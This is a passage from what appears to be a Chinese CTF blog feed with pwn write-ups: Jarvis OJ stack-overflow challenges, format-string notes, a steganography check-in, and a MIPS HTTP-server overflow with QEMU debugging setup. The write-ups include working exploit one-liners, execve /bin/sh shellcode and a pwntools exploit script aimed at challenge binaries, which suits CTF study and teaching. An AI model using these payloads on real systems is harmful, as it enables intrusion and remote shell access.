class="line">.text:00000000004004E0 sub rsp, 88h</span><br><span class="line">.text:00000000004004E7 mov edx, 14h ; n</span><br><span class="line">.text:00000000004004EC mov esi, offset aInputYourMessa ; "Input your message:\n"</span><br><span class="line">.text:00000000004004F1 mov edi, 1 ; fd</span><br><span class="line">.text:00000000004004F6 call _write</span><br><span class="line">.text:00000000004004FB mov rsi, rsp ; buf</span><br><span class="line">.text:00000000004004FE mov edx, 100h ; nbytes</span><br><span class="line">.text:0000000000400503 xor edi, edi ; fd</span><br><span class="line">.text:0000000000400505 call _read</span><br><span class="line">.text:000000000040050A mov edx, 29h ; n</span><br><span class="line">.text:000000000040050F mov esi, offset aIHaveReceivedY ; "I have received your message, Thank you"...</span><br><span class="line">.text:0000000000400514 mov edi, 1 ; fd</span><br><span class="line">.text:0000000000400519 call _write</span><br><span class="line">.text:000000000040051E add rsp, 88h</span><br><span class="line">.text:0000000000400525 retn</span><br><span class="line">.text:0000000000400525 ; } // starts at 4004E0</span><br><span class="line">.text:0000000000400525 main endp</span><br></pre></td></tr></table></figure><br>根据<code>sub rsp, 88h</code>可知main函数的栈空间只有0x88 = 136字节, read的时候会溢出</p><p>我们输入12345678后看一下栈</p><figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">gef➤ x/100g $sp</span><br><span class="line">0x7fffffffde20:0x38373635343332310x000000000000000a</span><br><span class="line">0x7fffffffde30:0x00000000000000000x0000000000000000</span><br></pre></td></tr></table></figure><p>按照小端序存放的输入, 即高字节存放在低地址, 低字节存放在高地址, 按4字节对齐</p><p>输入的<code>12345678</code>即<code>\x31\x32\x33\x34\x35\x36\x37\x38</code></p><pre><code>gef➤ x/10xw $sp0x7fffffffde20: 0x34333231 0x38373635 0x0000000a 0x000000000x7fffffffde30: 0x00000000 0x00000000 0x00000000 0x000000000x7fffffffde40: 0x00000000 0x00000000</code></pre><p>可以看到1234按4321的顺序放在0x7fffffffde20-0x7fffffffde23</p><p>5678按8765的顺序放在0x7fffffffde24-0x7fffffffde27</p><p>read函数结束的时候会返回到main函数继续执行, 返回的地址是保存在栈中的, 因此可以利用栈溢出覆盖返回地址</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">good_game</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> FILE *v0; <span class="comment">// rbx</span></span><br><span class="line"> <span class="keyword">int</span> result; <span class="comment">// eax</span></span><br><span class="line"> <span class="keyword">char</span> buf; <span class="comment">// [rsp+Fh] [rbp-9h]</span></span><br><span class="line"></span><br><span class="line"> v0 = fopen(<span class="string">"flag.txt"</span>, <span class="string">"r"</span>);</span><br><span class="line"> <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line"> {</span><br><span class="line"> result = fgetc(v0);</span><br><span class="line"> buf = result;</span><br><span class="line"> <span class="keyword">if</span> ( (_BYTE)result == <span class="number">-1</span> )</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="built_in">write</span>(<span class="number">1</span>, &buf, <span class="number">1u</span>LL);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> result;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>发现一个good_game函数可以读取flag并输出</p><pre><code>.text:0000000000400620 public good_game.text:0000000000400620 good_game proc near.text:0000000000400620.text:0000000000400620 buf = byte ptr -9.text:0000000000400620.text:0000000000400620 ; __unwind {.text:0000000000400620 push rbx.text:0000000000400621 mov esi, offset modes ; "r".text:0000000000400626 mov edi, offset filename ; "flag.txt"</code></pre><p>地址是0x00400620, 即覆盖返回地址为0x00400620即可, 注意按照小端序, 64位程序补齐高4字节地址</p><p>payload:<br><figure class="highlight shell"><table><tr><td class="code"><pre><span class="line">python -c 'print "A" * 0x88 + "\x20\x06\x40\x00\x00\x00\x00\x00"' | nc pwn.jarvisoj.com 9876</span><br></pre></td></tr></table></figure></p><h2 id="0x02-Smashes-Point-200"><a href="#0x02-Smashes-Point-200" class="headerlink" title="0x02 Smashes Point:200"></a>0x02 Smashes Point:200</h2><pre><code>Arch: amd64-64-littleRELRO: No RELROStack: Canary foundNX: NX enabledPIE: No PIE (0x400000)FORTIFY: Enabled</code></pre><p>开了Canary, 会检测标志位以防止栈溢出, 可以看到如果发生了栈溢出会输出:</p><p><img src="/images/jarvis-oj-pwn-做题记录/3.png" alt=""></p><p>在ida点菜单中的View->Open subviews->String可以打开字符串窗口, 看到</p><p><img src="/images/jarvis-oj-pwn-做题记录/1.png" alt=""></p><p>即flag是读到内存中了的</p><p>那么我们可以把flag的地址覆盖到argv[0]=/home/username/filename, 就可以输出flag</p><p>这个漏洞点也很明显:<br><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="function"><span class="keyword">unsigned</span> __int64 <span class="title">sub_4007E0</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> __int64 v0; <span class="comment">// rbx</span></span><br><span class="line"> <span class="keyword">int</span> v1; <span class="comment">// eax</span></span><br><span class="line"> __int64 v3; <span class="comment">// [rsp+0h] [rbp-128h]</span></span><br><span class="line"> <span class="keyword">unsigned</span> __int64 v4; <span class="comment">// [rsp+108h] [rbp-20h]</span></span><br><span class="line"></span><br><span class="line"> v4 = __readfsqword(<span class="number">0x28</span>u);</span><br><span class="line"> __printf_chk(<span class="number">1L</span>L, <span class="string">"Hello!\nWhat's your name? "</span>);</span><br><span class="line"> <span class="keyword">if</span> ( !_IO_gets(&v3) )</span><br><span class="line">LABEL_9:</span><br><span class="line"> _exit(<span class="number">1</span>);</span><br><span class="line"> v0 = <span class="number">0L</span>L;</span><br><span class="line"> __printf_chk(<span class="number">1L</span>L, <span class="string">"Nice to meet you, %s.\nPlease overwrite the flag: "</span>);</span><br><span class="line">...</span><br><span class="line">}</span><br></pre></td></tr></table></figure></p><p>read函数读取了0x28个数据, 但是在</p><pre><code>.text:00000000004007E0 sub_4007E0 proc near ; CODE XREF: main+12↑p.text:00000000004007E0.text:00000000004007E0 var_20 = qword ptr -20h.text:00000000004007E0.text:00000000004007E0 push rbp.text:00000000004007E1 mov esi, offset aHelloWhatSYour ; "Hello!\nWhat's your name? ".text:00000000004007E6 mov edi, 1</code></pre><p>可以看到只有0x20的栈, 存在栈溢出</p><p>那么我们只要一直填充数据到地址覆盖到argv[0]即可</p><p>让程序输入一些数据看一下输入开始的地址:</p><p><img src="/images/jarvis-oj-pwn-做题记录/2.png" alt=""></p><p>栈从低地址向高地址增加, argv[0]在高地址, main函数的栈在低地址, 然后main函数的栈帧中, 地址由低向高增加, 所以大量数据填充可以让我们的输入覆盖到高地址的argv[0]</p><p><img src="/images/jarvis-oj-pwn-做题记录/4.png" alt=""></p><p>搜索一下flag的位置</p><pre><code>pwndbg> search CTF{smashes 0x400d21 push r12 /* "CTF{Here's the flag on server}" */smashes 0x600d21 "CTF{Here's the flag on server}</code></pre><p>还有argv[0]的位置</p><pre><code>pwndbg> search /home/a/smasheswarning: Unable to access 16000 bytes of target memory at 0x7ffff7bd2d0e, halting search.[stack] 0x7fffffffe230 '/home/a/smashes'[stack] 0x7fffffffe800 '/home/a/smashes'[stack] 0x7fffffffefe8 '/home/a/smashes'</code></pre><p>输入数据保存的位置(栈顶)</p><pre><code>RSP 0x7fffffffe3b0 ◂— 0x34333231 /* '1234' */</code></pre><p>我们选取一个距离最远的,保证覆盖到argv[0]</p><p>按8字节小端序对齐</p><p>所以最终payload为:</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"></span><br><span class="line">python -c <span class="string">"print((0x7fffffffefe8 - 0x7fffffffe3b0) / 8 * '\x21\x0d\x40\x00\x00\x00\x00\x00' + '\n\n')"</span> | nc pwn.jarvisoj.com <span class="number">9877</span></span><br></pre></td></tr></table></figure><p>记录一下格式化字符串:</p><p>格式化占位符(format placeholder),语法是:</p><pre><code>%[parameter][flags][field width][.precision][length]type</code></pre><ul><li>parameter: n$, n用来指示是第几个参数, 如: <code>printf("%2$d, %1$d", 1, 2)</code> 输出的是<code>2, 1</code></li><li>flags: <ul><li>+: 正号, 表示有符号数值, 仅用于数值类型</li><li>空格: 输出有符号数的时候如果没有正负号或者零个字符, 就前缀一个空格, 与<code>+</code>同时出现的时候忽略</li><li>-: 左对齐, 默认情况下是右对齐</li><li><h1 id="不删除尾部0保持精度-总输出小数点-输出0-0x-0X表示进制"><a href="#不删除尾部0保持精度-总输出小数点-输出0-0x-0X表示进制" class="headerlink" title=": 不删除尾部0保持精度, 总输出小数点, 输出0, 0x, 0X表示进制"></a>: 不删除尾部0保持精度, 总输出小数点, 输出0, 0x, 0X表示进制</h1></li></ul></li><li>field width: 给出显示数值的最小宽度, 不足时补齐, 超出时全部输出</li><li>.precision: 指明输出的最大长度</li><li>length: 指明参数长度, hh, 输出一个字节, h, 输出一个双字节</li><li>type: <ul><li>d/i: 有符号整数, 如果scanf的时候, 输入16进制数如<code>0x2f</code>, 则应用i, 否则d和i同义</li><li>u: 无符号整数</li><li>f/F: double型按10进制定点表示, 如2.2323</li><li>e/E: 按科学计数法表示, 1.5e002</li><li>g/G: double, 输出全部有效数字位</li><li>x/X: 16 进制 unsigned int</li><li>o/8: 进制 unsigned int</li><li>s: 如果没有用 l 标志, 输出 null 结尾字符串直到精度规定的上限; 如果没有指定精度,则输出所有字节. 如果用了 l 标志, 则对应函数参数指向 wchar_t 型的数组,输出时把每个宽字符转化为多字节字符, 相当于调用 wcrtomb 函数.</li></ul></li></ul>]]></content>
<tags>
<tag> pwn </tag>
<tag> ctf </tag>
</tags>
</entry>
<entry>
<title>训练赛记录</title>
<link href="/2019/01/19/%E8%AE%AD%E7%BB%83%E8%B5%9B%E8%AE%B0%E5%BD%95/"/>
<url>/2019/01/19/%E8%AE%AD%E7%BB%83%E8%B5%9B%E8%AE%B0%E5%BD%95/</url>
<content type="html"><![CDATA[<h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p>这周做了UCAS的内部赛, 调出来pwn的时候才知道比赛时间只有11小时orz, 大佬们做的最多的是re1, 然而我ida打开以后看到一堆函数就不想看了233, 最终只提交了一个签到题, orz我好菜</p><h1 id="checkin"><a href="#checkin" class="headerlink" title="checkin"></a>checkin</h1><p>文件: <a href="https://github.com/Inv0k3r/pwnable_files/raw/master/checkin.png">checkin.png</a></p><p>LSB低位隐写,提取出来</p><p><code>XcHVycGxle2V6X2NoMVRWWX3JNZPWKN3GHBRDCOJYGQ3TMZDD303032653732333338636361313061626437387D</code></p><p>后半段 <code>303032653732333338636361313061626437387D</code> 看起来是16进制串,解出来 <code>002e72338cca10abd78}</code></p><p>中段 <code>MVRWWX3JNZPWKN3GHBRDCOJYGQ3TMZDD</code> 是base32: <code>eck_in_e7f8b198476dc</code></p><p>首段看起来是base64,解不出来,猜测是 <code>purple{ch</code></p><p>用base64以后是 <code>cHVycGxle2No</code></p><p>跟 <code>XcHVycGxle2V6X2No</code> 比较,看起来多了个X</p><p>解出来 <code>purple{ez_ch</code></p><p>结果:<code>purple{ez_check_in_e7f8b198476dc002e72338cca10abd78}</code></p><h1 id="PWN1"><a href="#PWN1" class="headerlink" title="PWN1"></a>PWN1</h1><p>文件在这里下载: <a href="https://github.com/Inv0k3r/pwnable_files/raw/master/bin.233">bin.233</a></p><p>题目给了一个binfile, checksec</p><figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">Arch: mips-32-big</span><br><span class="line">RELRO: No RELRO</span><br><span class="line">Stack: No canary found</span><br><span class="line">NX: NX disabled</span><br><span class="line">PIE: No PIE (0x400000)</span><br><span class="line">RWX: Has RWX segments</span><br></pre></td></tr></table></figure><p>fine…mips环境搞起来</p><h2 id="0x01-QEMU-MIPS调试环境搭建"><a href="#0x01-QEMU-MIPS调试环境搭建" class="headerlink" title="0x01 QEMU MIPS调试环境搭建"></a>0x01 QEMU MIPS调试环境搭建</h2><p>下载虚拟机和内核文件 <code>https://people.debian.org/~aurel32/qemu/mips/</code></p><p>这里下载 <code>debian_wheezy_mips_standard.qcow2</code> 和 <code>vmlinux-3.2.0-4-4kc-malta</code></p><p>我宿主机是Vmware的Ubuntu 16.04, 在里面开qemu虚拟机, 采用网桥的方式建立MIPS虚拟机和Ubuntu的连接</p><p>安装QEMU: </p><figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">apt-get install -y qemu qemu-user-static qemu-system</span><br></pre></td></tr></table></figure><p>下载虚拟机和内核文件</p><figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">wget https://people.debian.org/~aurel32/qemu/mips/debian_wheezy_mips_standard.qcow2 &&</span><br><span class="line">wget https://people.debian.org/~aurel32/qemu/mips/vmlinux-3.2.0-4-4kc-malta</span><br></pre></td></tr></table></figure><p>然后,虚拟机,启动!</p><figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">sudo qemu-system-mips \</span><br><span class="line"> -M malta \</span><br><span class="line"> -kernel vmlinux-3.2.0-4-4kc-malta \</span><br><span class="line"> -hda debian_wheezy_mips_standard.qcow2 \</span><br><span class="line"> -append "root=/dev/sda1 console=tty0" \</span><br><span class="line"> -netdev user,id=net0 \</span><br><span class="line"> -device e1000,netdev=net0,id=net0,mac=52:54:00:c9:18:27 \</span><br><span class="line"> -net user -redir tcp:2222::2222 \</span><br><span class="line"> -gdb tcp::22333 \</span><br><span class="line"> -redir tcp:1234::1234 \</span><br><span class="line"> -nographic</span><br></pre></td></tr></table></figure><p>账号密码都是root, 然后添加了端口映射, 便于在Ubuntu里调试</p><p>给Ubuntu安装pwndbg和调试MIPS的插件:<br><figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">git clone https://github.com/pwndbg/pwndbg &&</span><br><span class="line">cd pwndbg &&</span><br><span class="line">sudo bash setup.sh &&</span><br><span class="line">sudo apt install gdb-multiarch</span><br></pre></td></tr></table></figure></p><p>关于调试:</p><p>我在qemu虚拟机里装了gdb和socat, 即:</p><figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">apt-get install gdb socat</span><br></pre></td></tr></table></figure><p>然后把要调试的文件传到了免费网盘github, 之后通过wget下载到qemu虚拟机中</p><p>然后用socat启动gdb调试, 这里的1234端口是上面启动虚拟机的时候设置的端口映射</p><figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">socat TCP-LISTEN:1234,reuseaddr,fork EXEC:"gdb bin.233"</span><br></pre></td></tr></table></figure><p>这样我们在Ubuntu机里就可以用 <code>nc 127.0.0.1 1234</code> 进行连接</p><p>输入payload可以用python脚本配合pwntools</p><p>如:<br><figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">from pwn import *</span><br><span class="line">r = remote('127.0.0.1', 1234)</span><br></pre></td></tr></table></figure></p><p>后面的操作就相当于开了一个远程调试的gdb, 直接用pwntools发送指令即可, 比如查看栈内存:</p><figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">r.sendline('x/100wx $sp')</span><br></pre></td></tr></table></figure><p>蛋疼的是mips虚拟机里没法装pwndbg之类的工具, 只能用原始的gdb来调, 不过足够了</p><h2 id="0x02-反编译代码分析"><a href="#0x02-反编译代码分析" class="headerlink" title="0x02 反编译代码分析"></a>0x02 反编译代码分析</h2><p>我用的是jeb的mips反编译的, 可以试用一个月, 开个虚拟机到期就重置2333</p><p>main函数:<br><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="function"><span class="keyword">unsigned</span> <span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">unsigned</span> <span class="keyword">int</span> param0, <span class="keyword">unsigned</span> <span class="keyword">int</span> param1)</span> </span>{</span><br><span class="line"> setvbuf(*gvar_411214, <span class="number">6</span>, <span class="number">2</span>, <span class="number">6</span>);</span><br><span class="line"> setvbuf(**&gvar_411208, <span class="number">6</span>, <span class="number">2</span>, <span class="number">6</span>);</span><br><span class="line"> param0 = *&gvar_4111D4 + <span class="number">4448</span>;</span><br><span class="line"> <span class="keyword">char</span> *v0 = getenv(<span class="string">"PWD"</span>);</span><br><span class="line"> *&ROOT = v0;</span><br><span class="line"> menu(param0, <span class="number">0</span>, <span class="number">2</span>, <span class="number">0</span>);</span><br><span class="line"> <span class="keyword">for</span>(<span class="keyword">int</span> i = <span class="number">0</span>; i < <span class="number">16</span>; ++i) {</span><br><span class="line"> respond(param0, <span class="number">0</span>, <span class="number">2</span>, <span class="number">0</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><br>menu函数:<br><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="function"><span class="keyword">unsigned</span> <span class="keyword">int</span> <span class="title">menu</span><span class="params">(<span class="keyword">unsigned</span> <span class="keyword">int</span> param0, <span class="keyword">unsigned</span> <span class="keyword">int</span> param1, <span class="keyword">unsigned</span> <span class="keyword">int</span> param2, <span class="keyword">unsigned</span> <span class="keyword">int</span> param3)</span> </span>{</span><br><span class="line"> system(<span class="string">"pwd"</span>, param1, param2, param3);</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"start?"</span>);</span><br><span class="line"> <span class="keyword">return</span> <span class="built_in">read</span>(<span class="number">0</span>, *&gvar_4111D8, <span class="number">1</span>, param3);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><br>respond函数:<br><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">respond</span><span class="params">(<span class="keyword">unsigned</span> <span class="keyword">int</span> param0, <span class="keyword">unsigned</span> <span class="keyword">int</span> param1, <span class="keyword">unsigned</span> <span class="keyword">int</span> param2, <span class="keyword">unsigned</span> <span class="keyword">int</span> param3)</span> </span>{</span><br><span class="line"> <span class="built_in">memset</span>(gvar_4111D8, <span class="number">0</span>, <span class="number">4096</span>, param3);</span><br><span class="line"> <span class="keyword">int</span> result = <span class="built_in">read</span>(<span class="number">0</span>, mesg, <span class="number">4096</span>, param3);</span><br><span class="line"> <span class="keyword">int</span> v0 = result;</span><br><span class="line"> <span class="keyword">if</span>(result == <span class="number">0</span>) {</span><br><span class="line"> result = fwrite(<span class="string">"Client disconnected upexpectedly.\n"</span>, <span class="number">1</span>, <span class="number">34</span>, **&gvar_41123C);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span> <span class="keyword">if</span>(result < <span class="number">0</span>) {</span><br><span class="line"> result = fwrite(<span class="string">"recv() error\n"</span>, <span class="number">1</span>, <span class="number">13</span>, **&gvar_41123C);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span> { <span class="comment">// len(result) > 0, 有输入</span></span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"%s"</span>, mesg, <span class="number">4096</span>, param3);</span><br><span class="line"> result = strtok(mesg, <span class="string">" \t\n"</span>, <span class="number">4096</span>, param3); <span class="comment">// 用" \t\n"切割字符串</span></span><br><span class="line"> result = <span class="built_in">strncmp</span>(result, <span class="string">"GET"</span>, <span class="number">4</span>, param3); <span class="comment">// 比较前4个字符</span></span><br><span class="line"> </span><br><span class="line"> <span class="keyword">if</span>(result == <span class="number">0</span>) {</span><br><span class="line"> result = strtok(mesg, <span class="string">" \t"</span>, <span class="number">4</span>, param3); <span class="comment">// 用" \t"切割字符串</span></span><br><span class="line"> <span class="keyword">char</span> *filename = result;</span><br><span class="line"> result = strtok(mesg, <span class="string">" \t\n"</span>, <span class="number">4</span>, param3); <span class="comment">// 用" \t\n"切割字符串</span></span><br><span class="line"> <span class="keyword">char</span> *protocol = result;</span><br><span class="line"> result = <span class="built_in">strncmp</span>(protocol, <span class="string">"HTTP/1.0"</span>, <span class="number">8</span>, param3); <span class="comment">// 比较前8个字符</span></span><br><span class="line"> </span><br><span class="line"> <span class="keyword">if</span>(result != <span class="number">0</span>) {</span><br><span class="line"> result = <span class="built_in">strncmp</span>(protocol, <span class="string">"HTTP/1.1"</span>, <span class="number">8</span>, param3); <span class="comment">//比较</span></span><br><span class="line"> </span><br><span class="line"> <span class="keyword">if</span>(result != <span class="number">0</span>) {</span><br><span class="line"> <span class="keyword">return</span> <span class="built_in">write</span>(<span class="number">1</span>, <span class="string">"HTTP/1.0 400 Bad Request\n"</span>, <span class="number">25</span>, param3);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> result = <span class="built_in">strncmp</span>(filename, <span class="string">"/"</span>, <span class="number">2</span>, param3);</span><br><span class="line"> <span class="keyword">if</span>(result == <span class="number">0</span>) {</span><br><span class="line"> filename = <span class="string">"/index.html"</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> env_str = *&ROOT;</span><br><span class="line"> <span class="built_in">strcpy</span>(&path, env_str); <span class="comment">// path = /home/fish</span></span><br><span class="line"> result = <span class="built_in">strlen</span>(*&R00T, env_str, <span class="number">2</span>, param3); <span class="comment">// 路径的长度</span></span><br><span class="line"> <span class="comment">// 字符串拼接 path = /home/fish + v1,</span></span><br><span class="line"> <span class="comment">// 没有计算文件名的长度就直接copy了, 可以导致栈溢出</span></span><br><span class="line"> <span class="built_in">strcpy</span>(((<span class="keyword">unsigned</span> <span class="keyword">int</span>)(result + ((<span class="keyword">int</span>)(&path)))), filename, <span class="number">2</span>, param3); </span><br><span class="line"></span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"file: %s\n"</span>, &path, <span class="number">2</span>, param3); <span class="comment">// 输出path</span></span><br><span class="line"> result = <span class="built_in">open</span>(&path, <span class="number">0</span>, <span class="number">2</span>, param3); <span class="comment">// 打开path指向的文件</span></span><br><span class="line"> <span class="comment">// 文件存在则输出200 OK, 否则404</span></span><br><span class="line"> result = result != <span class="number">-1</span> ? <span class="built_in">write</span>(l, <span class="string">"HTTP/1.0 200 0K\n\n"</span>, <span class="number">17</span>, param3): <span class="built_in">write</span>(<span class="number">1</span>, <span class="string">"HTTP/1.0 404 Not Found\n"</span>, <span class="number">23</span>, param3); </span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> result;</span><br><span class="line">}</span><br></pre></td></tr></table></figure></p><h1 id="0x03-分析"><a href="#0x03-分析" class="headerlink" title="0x03 分析"></a>0x03 分析</h1><p>输入的HTTP请求段mesg:</p><p>GET /{file} HTTP/1.0</p><p><img src="/images/训练赛记录/1.png" alt=""></p><p>可以看到栈里的数据, strcpy复制的时候没检查长度造成栈溢出, 测得保存的文件路径在$sp + 0x2c处(本机测试的时候路径是/root)</p><p><img src="/images/训练赛记录/2.png" alt=""></p><p>$ra(返回地址寄存器)保存在$sp + 0x134处</p><p><img src="/images/训练赛记录/3.png" alt=""><br><img src="/images/训练赛记录/4.png" alt=""></p><p>/bin/sh也有了, system也有了</p><p><img src="/images/训练赛记录/5.png" alt=""></p><p><img src="/images/训练赛记录/6.png" alt=""></p><p>看起来是要构造ROP, 但是有一个问题是, payload里不能有\x00不然会截断</p><p>但是所有地址都是0x0040开头的, 所以没法构造ROP</p><p>本来跳转到 0x00400e68, 现在跳转到 0x7fff6b5a, a(1000b) 最低两个有效位有一个不是0</p><p>尝试把shellcode写到栈上然后控制$ra跳转过去</p><p>在Exploit-DB上找了个mips 32 big endian的shellcode</p><pre><code>shellcode = "\x28\x06\xff\xff" # /* slti a2,zero,-1 */shellcode += "\x3c\x0f\x2f\x2f" # /* lui t7,0x2f2f */shellcode += "\x35\xef\x62\x69" # /* ori t7,t7,0x6269 */shellcode += "\xaf\xaf\xff\xf4" # /* sw t7,-12(sp) */shellcode += "\x3c\x0e\x6e\x2f" # /* lui t6,0x6e2f */shellcode += "\x35\xce\x73\x68" # /* ori t6,t6,0x7368 */shellcode += "\xaf\xae\xff\xf8" # /* sw t6,-8(sp) */shellcode += "\xaf\xa0\xff\xfc" # /* sw zero,-4(sp) */shellcode += "\x27\xa4\xff\xf4" # /* addiu a0,sp,-12 */shellcode += "\x28\x05\xff\xff" # /* slti a1,zero,-1 */shellcode += "\x24\x02\x0f\xab" # /* li v0,4011 */shellcode += "\x01\x01\x01\x0c" # /* syscall 0x40404 */</code></pre><p>看一下函数返回的操作</p><pre><code> break $sp $ra code0x00400CC0 0x7fff6bd8 0x00400c9c jalr $t9 ; strcpy # 这条指令将执行strcpy0x00400CC4 0x7fff6bd8 0x00400cc8 nop0x00400CC8 0x7fff6bd8 0x00400cc8 lw $gp, 0x138+var_128($fp) # strcpy后第一条指令----------0x00400D7C 0x7fff6bd8 0x00400d70 lw $ra, 0x138+var_4($sp) # 这里修改了$ra, 我们溢出到栈上覆盖了这个地址后, $ra的值是我们伪造的地址0x00400D80 0x7fff6bd8 0x00400e68 lw $fp, 0x138+var_8($sp) # 这里伪造的$ra=0x7fff6b5a0x00400D84 0x7fff6bd8 0x00400e68 addiu $sp, 0x138 # $ra=0x7fff6b5a0x00400D88 0x7fff6d10 0x00400e68 jr $ra # 跳转回main</code></pre><p>直接修改$ra 跳过去就可以, 修改$ra为0x7fff6b5a</p><p>测试完以后发现, 会报</p><pre><code>Program received signal SIGBUS, Bus error.GDB is unable to find the start of the function at 0x7fff6b5aand thus can't determine the size of that function's stack frame.This means that GDB may be unable to access that stack frame, orthe frames below it.This problem is most likely caused by an invalid program counter orstack pointer.However, if you think GDB should simply search farther backfrom 0x7fff6b5a for code which looks like the beginning of afunction, you can increase the range of the search using the `setheuristic-fence-post' command.0x7fff6b5a in ?? ()</code></pre><p>猜测可能是MIPS需要对齐地址, $sp = 0x7fff6bd8, 所以应该按4字节增长, 设置$ra = $sp + 4 * n</p><p>但是实际运行环境的$sp不知道, 得想办法解决一哈</p><p>调试环境测试跳转到shellcode可以稳定getshell</p><p><img src="/images/训练赛记录/7.png" alt=""></p><p>0x04 exp</p><p>先给出exp…等我想办法找到栈地址再补充</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">shellcode = <span class="string">"\x28\x06\xff\xff"</span> <span class="comment"># /* slti a2,zero,-1 */</span></span><br><span class="line">shellcode += <span class="string">"\x3c\x0f\x2f\x2f"</span> <span class="comment"># /* lui t7,0x2f2f */</span></span><br><span class="line">shellcode += <span class="string">"\x35\xef\x62\x69"</span> <span class="comment"># /* ori t7,t7,0x6269 */</span></span><br><span class="line">shellcode += <span class="string">"\xaf\xaf\xff\xf4"</span> <span class="comment"># /* sw t7,-12(sp) */</span></span><br><span class="line">shellcode += <span class="string">"\x3c\x0e\x6e\x2f"</span> <span class="comment"># /* lui t6,0x6e2f */</span></span><br><span class="line">shellcode += <span class="string">"\x35\xce\x73\x68"</span> <span class="comment"># /* ori t6,t6,0x7368 */</span></span><br><span class="line">shellcode += <span class="string">"\xaf\xae\xff\xf8"</span> <span class="comment"># /* sw t6,-8(sp) */</span></span><br><span class="line">shellcode += <span class="string">"\xaf\xa0\xff\xfc"</span> <span class="comment"># /* sw zero,-4(sp) */</span></span><br><span class="line">shellcode += <span class="string">"\x27\xa4\xff\xf4"</span> <span class="comment"># /* addiu a0,sp,-12 */</span></span><br><span class="line">shellcode += <span class="string">"\x28\x05\xff\xff"</span> <span class="comment"># /* slti a1,zero,-1 */</span></span><br><span class="line">shellcode += <span class="string">"\x24\x02\x0f\xab"</span> <span class="comment"># /* li v0,4011 */</span></span><br><span class="line">shellcode += <span class="string">"\x01\x01\x01\x0c"</span> <span class="comment"># /* syscall 0x40404 */</span></span><br><span class="line"></span><br><span class="line">shellcode_addr = <span class="string">''</span></span><br><span class="line">shellcode_addr = <span class="string">"\x7f\xff\x6b\x50"</span> <span class="comment"># shellcode的地址</span></span><br><span class="line"></span><br><span class="line">payload = <span class="string">'/a'</span> + shellcode + <span class="string">'a'</span> * (<span class="number">253</span> - len(shellcode) - <span class="number">5</span>) + <span class="string">'/123'</span> + shellcode_addr</span><br><span class="line"></span><br><span class="line">http = <span class="string">'GET '</span> + payload + <span class="string">' HTTP/1.1'</span></span><br><span class="line"></span><br><span class="line">r = remote(<span class="string">'127.0.0.1'</span>, <span class="number">1234</span>)</span><br><span class="line">r.recv()</span><br><span class="line">r.sendline(<span class="string">'r'</span>) <span class="comment"># gdb run</span></span><br><span class="line">r.recv() <span class="comment"># start?</span></span><br><span class="line">r.send(<span class="string">'\n'</span>)</span><br><span class="line">r.sendline(http)</span><br><span class="line">r.recv()</span><br><span class="line">r.interactive()</span><br></pre></td></tr></table></figure><p>题目本身简单..保护全关, 但是麻烦的地方就是调试环境, 一开始用qemu共享库起, 报段错误, 无法运行</p><p>m4x师傅给了我一个docker: <a href="https://github.com/Inv0k3r/multiarch-docker">multiarch-docker</a></p><p>能运行了但是一调试就炸…最后没办法了才直接在虚拟机里跑, 装个gdb然后端口映射233</p>]]></content>
<tags>
<tag> pwn </tag>
<tag> ctf </tag>
<tag> mips </tag>
</tags>
</entry>
<entry>
<title>强网杯2019</title>
<link href="/2019/01/18/%E5%BC%BA%E7%BD%91%E6%9D%AF2019/"/>
<url>/2019/01/18/%E5%BC%BA%E7%BD%91%E6%9D%AF2019/</url>
